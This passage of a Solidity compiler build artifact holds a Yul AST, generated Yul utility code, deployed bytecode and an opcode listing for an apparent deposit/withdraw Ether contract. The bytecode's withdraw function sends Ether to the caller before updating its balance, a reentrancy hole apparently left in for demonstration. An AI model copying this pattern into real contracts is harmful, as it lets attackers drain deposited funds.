"src": "1950:9:2",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1962:6:2",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "1973:4:2",
"type": ""
}
],
"src": "1880:222:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2148:35:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2158:19:2",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2174:2:2",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "2168:5:2"
},
"nodeType": "YulFunctionCall",
"src": "2168:9:2"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "2158:6:2"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "2141:6:2",
"type": ""
}
],
"src": "2108:75:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2302:34:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2312:18:2",
"value": {
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2327:3:2"
},
"variableNames": [
{
"name": "updated_pos",
"nodeType": "YulIdentifier",
"src": "2312:11:2"
}
]
}
]
},
"name": "array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "2274:3:2",
"type": ""
},
{
"name": "length",
"nodeType": "YulTypedName",
"src": "2279:6:2",
"type": ""
}
],
"returnVariables": [
{
"name": "updated_pos",
"nodeType": "YulTypedName",
"src": "2290:11:2",
"type": ""
}
],
"src": "2189:147:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2386:261:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2396:25:2",
"value": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "2419:1:2"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "2401:17:2"
},
"nodeType": "YulFunctionCall",
"src": "2401:20:2"
},
"variableNames": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "2396:1:2"
}
]
},
{
"nodeType": "YulAssignment",
"src": "2430:25:2",
"value": {
"arguments": [
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "2453:1:2"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "2435:17:2"
},
"nodeType": "YulFunctionCall",
"src": "2435:20:2"
},
"variableNames": [
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "2430:1:2"
}
]
},
{
"body": {
"nodeType": "YulBlock",
"src": "2593:22:2",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "panic_error_0x11",
"nodeType": "YulIdentifier",
"src": "2595:16:2"
},
"nodeType": "YulFunctionCall",
"src": "2595:18:2"
},
"nodeType": "YulExpressionStatement",
"src": "2595:18:2"
}
]
},
"condition": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "2514:1:2"
},
{
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2521:66:2",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
},
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "2589:1:2"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "2517:3:2"
},
"nodeType": "YulFunctionCall",
"src": "2517:74:2"
}
],
"functionName": {
"name": "gt",
"nodeType": "YulIdentifier",
"src": "2511:2:2"
},
"nodeType": "YulFunctionCall",
"src": "2511:81:2"
},
"nodeType": "YulIf",
"src": "2508:107:2"
},
{
"nodeType": "YulAssignment",
"src": "2625:16:2",
"value": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "2636:1:2"
},
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "2639:1:2"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2632:3:2"
},
"nodeType": "YulFunctionCall",
"src": "2632:9:2"
},
"variableNames": [
{
"name": "sum",
"nodeType": "YulIdentifier",
"src": "2625:3:2"
}
]
}
]
},
"name": "checked_add_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "x",
"nodeType": "YulTypedName",
"src": "2373:1:2",
"type": ""
},
{
"name": "y",
"nodeType": "YulTypedName",
"src": "2376:1:2",
"type": ""
}
],
"returnVariables": [
{
"name": "sum",
"nodeType": "YulTypedName",
"src": "2382:3:2",
"type": ""
}
],
"src": "2342:305:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2698:146:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2708:25:2",
"value": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "2731:1:2"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "2713:17:2"
},
"nodeType": "YulFunctionCall",
"src": "2713:20:2"
},
"variableNames": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "2708:1:2"
}
]
},
{
"nodeType": "YulAssignment",
"src": "2742:25:2",
"value": {
"arguments": [
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "2765:1:2"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "2747:17:2"
},
"nodeType": "YulFunctionCall",
"src": "2747:20:2"
},
"variableNames": [
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "2742:1:2"
}
]
},
{
"body": {
"nodeType": "YulBlock",
"src": "2789:22:2",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "panic_error_0x11",
"nodeType": "YulIdentifier",
"src": "2791:16:2"
},
"nodeType": "YulFunctionCall",
"src": "2791:18:2"
},
"nodeType": "YulExpressionStatement",
"src": "2791:18:2"
}
]
},
"condition": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "2783:1:2"
},
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "2786:1:2"
}
],
"functionName": {
"name": "lt",
"nodeType": "YulIdentifier",
"src": "2780:2:2"
},
"nodeType": "YulFunctionCall",
"src": "2780:8:2"
},
"nodeType": "YulIf",
"src": "2777:34:2"
},
{
"nodeType": "YulAssignment",
"src": "2821:17:2",
"value": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "2833:1:2"
},
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "2836:1:2"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "2829:3:2"
},
"nodeType": "YulFunctionCall",
"src": "2829:9:2"
},
"variableNames": [
{
"name": "diff",
"nodeType": "YulIdentifier",
"src": "2821:4:2"
}
]
}
]
},
"name": "checked_sub_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "x",
"nodeType": "YulTypedName",
"src": "2684:1:2",
"type": ""
},
{
"name": "y",
"nodeType": "YulTypedName",
"src": "2687:1:2",
"type": ""
}
],
"returnVariables": [
{
"name": "diff",
"nodeType": "YulTypedName",
"src": "2693:4:2",
"type": ""
}
],
"src": "2653:191:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2895:51:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2905:35:2",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "2934:5:2"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "2916:17:2"
},
"nodeType": "YulFunctionCall",
"src": "2916:24:2"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "2905:7:2"
}
]
}
]
},
"name": "cleanup_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "2877:5:2",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "2887:7:2",
"type": ""
}
],
"src": "2850:96:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2997:81:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "3007:65:2",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "3022:5:2"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3029:42:2",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffff"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "3018:3:2"
},
"nodeType": "YulFunctionCall",
"src": "3018:54:2"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "3007:7:2"
}
]
}
]
},
"name": "cleanup_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "2979:5:2",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "2989:7:2",
"type": ""
}
],
"src": "2952:126:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3129:32:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "3139:16:2",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "3150:5:2"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "3139:7:2"
}
]
}
]
},
"name": "cleanup_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "3111:5:2",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "3121:7:2",
"type": ""
}
],
"src": "3084:77:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3195:152:2",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3212:1:2",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3215:77:2",
"type": "",
"value": "35408467139433450592217433187231851964531694900788300625387963629091585785856"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "3205:6:2"
},
"nodeType": "YulFunctionCall",
"src": "3205:88:2"
},
"nodeType": "YulExpressionStatement",
"src": "3205:88:2"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3309:1:2",
"type": "",
"value": "4"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3312:4:2",
"type": "",
"value": "0x11"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "3302:6:2"
},
"nodeType": "YulFunctionCall",
"src": "3302:15:2"
},
"nodeType": "YulExpressionStatement",
"src": "3302:15:2"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3333:1:2",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3336:4:2",
"type": "",
"value": "0x24"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "3326:6:2"
},
"nodeType": "YulFunctionCall",
"src": "3326:15:2"
},
"nodeType": "YulExpressionStatement",
"src": "3326:15:2"
}
]
},
"name": "panic_error_0x11",
"nodeType": "YulFunctionDefinition",
"src": "3167:180:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3442:28:2",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3459:1:2",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3462:1:2",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "3452:6:2"
},
"nodeType": "YulFunctionCall",
"src": "3452:12:2"
},
"nodeType": "YulExpressionStatement",
"src": "3452:12:2"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "3353:117:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3565:28:2",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3582:1:2",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3585:1:2",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "3575:6:2"
},
"nodeType": "YulFunctionCall",
"src": "3575:12:2"
},
"nodeType": "YulExpressionStatement",
"src": "3575:12:2"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "3476:117:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3705:8:2",
"statements": []
},
"name": "store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "3697:6:2",
"type": ""
}
],
"src": "3599:114:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3762:79:2",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "3819:16:2",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3828:1:2",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3831:1:2",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "3821:6:2"
},
"nodeType": "YulFunctionCall",
"src": "3821:12:2"
},
"nodeType": "YulExpressionStatement",
"src": "3821:12:2"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "3785:5:2"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "3810:5:2"
}
],
"functionName": {
"name": "cleanup_t_address",
"nodeType": "YulIdentifier",
"src": "3792:17:2"
},
"nodeType": "YulFunctionCall",
"src": "3792:24:2"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "3782:2:2"
},
"nodeType": "YulFunctionCall",
"src": "3782:35:2"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "3775:6:2"
},
"nodeType": "YulFunctionCall",
"src": "3775:43:2"
},
"nodeType": "YulIf",
"src": "3772:63:2"
}
]
},
"name": "validator_revert_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "3755:5:2",
"type": ""
}
],
"src": "3719:122:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3890:79:2",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "3947:16:2",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3956:1:2",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3959:1:2",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "3949:6:2"
},
"nodeType": "YulFunctionCall",
"src": "3949:12:2"
},
"nodeType": "YulExpressionStatement",
"src": "3949:12:2"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "3913:5:2"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "3938:5:2"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "3920:17:2"
},
"nodeType": "YulFunctionCall",
"src": "3920:24:2"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "3910:2:2"
},
"nodeType": "YulFunctionCall",
"src": "3910:35:2"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "3903:6:2"
},
"nodeType": "YulFunctionCall",
"src": "3903:43:2"
},
"nodeType": "YulIf",
"src": "3900:63:2"
}
]
},
"name": "validator_revert_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "3883:5:2",
"type": ""
}
],
"src": "3847:122:2"
}
]
},
"contents": "{\n\n function abi_decode_t_address(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_address(value)\n }\n\n function abi_decode_t_uint256(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_uint256(value)\n }\n\n function abi_decode_tuple_t_address(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_address(add(headStart, offset), dataEnd)\n }\n\n }\n\n function abi_decode_tuple_t_uint256(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_uint256(add(headStart, offset), dataEnd)\n }\n\n }\n\n function abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack(pos) -> end {\n pos := array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack(pos, 0)\n store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470(pos)\n end := add(pos, 0)\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encode_tuple_packed_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed(pos ) -> end {\n\n pos := abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack( pos)\n\n end := pos\n }\n\n function abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack(pos, length) -> updated_pos {\n updated_pos := pos\n }\n\n function checked_add_t_uint256(x, y) -> sum {\n x := cleanup_t_uint256(x)\n y := cleanup_t_uint256(y)\n\n // overflow, if x > (maxValue - y)\n if gt(x, sub(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, y)) { panic_error_0x11() }\n\n sum := add(x, y)\n }\n\n function checked_sub_t_uint256(x, y) -> diff {\n x := cleanup_t_uint256(x)\n y := cleanup_t_uint256(y)\n\n if lt(x, y) { panic_error_0x11() }\n\n diff := sub(x, y)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function panic_error_0x11() {\n mstore(0, 35408467139433450592217433187231851964531694900788300625387963629091585785856)\n mstore(4, 0x11)\n revert(0, 0x24)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470(memPtr) {\n\n }\n\n function validator_revert_t_address(value) {\n if iszero(eq(value, cleanup_t_address(value))) { revert(0, 0) }\n }\n\n function validator_revert_t_uint256(value) {\n if iszero(eq(value, cleanup_t_uint256(value))) { revert(0, 0) }\n }\n\n}\n",
"id": 2,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "6080604052600436106100425760003560e01c8062362a951461004e57806327e235e31461006a5780632e1a7d4d146100a757806370a08231146100d057610049565b3661004957005b600080fd5b6100686004803603810190610063919061034e565b61010d565b005b34801561007657600080fd5b50610091600480360381019061008c919061034e565b6101a3565b60405161009e91906103ef565b60405180910390f35b3480156100b357600080fd5b506100ce60048036038101906100c9919061037b565b6101bb565b005b3480156100dc57600080fd5b506100f760048036038101906100f2919061034e565b6102c6565b60405161010491906103ef565b60405180910390f35b61015e346000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461030e90919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60006020528060005260406000206000915090505481565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106102c35760003373ffffffffffffffffffffffffffffffffffffffff1682604051610226906103da565b60006040518083038185875af1925050503d8060008114610263576040519150601f19603f3d011682016040523d82523d6000602084013e610268565b606091505b50509050816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546102ba919061046b565b92505081905550505b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000818361031c9190610415565b905092915050565b60008135905061033381610512565b92915050565b60008135905061034881610529565b92915050565b6000602082840312156103645761036361050a565b5b600061037284828501610324565b91505092915050565b6000602082840312156103915761039061050a565b5b600061039f84828501610339565b91505092915050565b60006103b560008361040a565b91506103c08261050f565b600082019050919050565b6103d4816104d1565b82525050565b60006103e5826103a8565b9150819050919050565b600060208201905061040460008301846103cb565b92915050565b600081905092915050565b6000610420826104d1565b915061042b836104d1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156104605761045f6104db565b5b828201905092915050565b6000610476826104d1565b9150610481836104d1565b925082821015610494576104936104db565b5b828203905092915050565b60006104aa826104b1565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600080fd5b50565b61051b8161049f565b811461052657600080fd5b50565b610532816104d1565b811461053d57600080fd5b5056fea2646970667358221220d0f0e125e036895e7acd49d94bad9d67a46470c82bcf4423da86ebcfadf59e5664736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x42 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH3 0x362A95 EQ PUSH2 0x4E JUMPI DUP1 PUSH4 0x27E235E3 EQ PUSH2 0x6A JUMPI DUP1 PUSH4 0x2E1A7D4D EQ PUSH2 0xA7 JUMPI DUP1 PUSH4 0x70A08231 EQ PUSH2 0xD0 JUMPI PUSH2 0x49 JUMP JUMPDEST CALLDATASIZE PUSH2 0x49 JUMPI STOP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x68 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x63 SWAP2 SWAP1 PUSH2 0x34E JUMP JUMPDEST PUSH2 0x10D JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x76 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x91 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x8C SWAP2 SWAP1 PUSH2 0x34E JUMP JUMPDEST PUSH2 0x1A3 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x9E SWAP2 SWAP1 PUSH2 0x3EF JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xB3 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xCE PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0xC9 SWAP2 SWAP1 PUSH2 0x37B JUMP JUMPDEST PUSH2 0x1BB JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xDC JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xF7 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0xF2 SWAP2 SWAP1 PUSH2 0x34E JUMP JUMPDEST PUSH2 0x2C6 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x104 SWAP2 SWAP1 PUSH2 0x3EF JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x15E CALLVALUE PUSH1 0x0 DUP1 DUP5 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD PUSH2 0x30E SWAP1 SWAP2 SWAP1 PUSH4 0xFFFFFFFF AND JUMP JUMPDEST PUSH1 0x0 DUP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST DUP1 PUSH1 0x0 DUP1 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD LT PUSH2 0x2C3 JUMPI PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP3 PUSH1 0x40 MLOAD PUSH2 0x226 SWAP1 PUSH2 0x3DA JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP RETURNDATASIZE DUP1 PUSH1 0x0 DUP2 EQ PUSH2 0x263 JUMPI PUSH1 0x40 MLOAD SWAP2 POP PUSH1 0x1F NOT PUSH1 0x3F RETURNDATASIZE ADD AND DUP3 ADD PUSH1 0x40 MSTORE RETURNDATASIZE DUP3 MSTORE RETURNDATASIZE PUSH1 0x0 PUSH1 0x20 DUP5 ADD RETURNDATACOPY PUSH2 0x268 JUMP JUMPDEST PUSH1 0x60 SWAP2 POP JUMPDEST POP POP SWAP1 POP DUP2 PUSH1 0x0 DUP1 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD PUSH2 0x2BA SWAP2 SWAP1 PUSH2 0x46B JUMP JUMPDEST SWAP3 POP POP DUP2 SWAP1 SSTORE POP POP JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 DUP4 PUSH2 0x31C SWAP2 SWAP1 PUSH2 0x415 JUMP JUMPDEST SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x333 DUP2 PUSH2 0x512 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x348 DUP2 PUSH2 0x529 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x364 JUMPI PUSH2 0x363 PUSH2 0x50A JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x372 DUP5 DUP3 DUP6 ADD PUSH2 0x324 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP 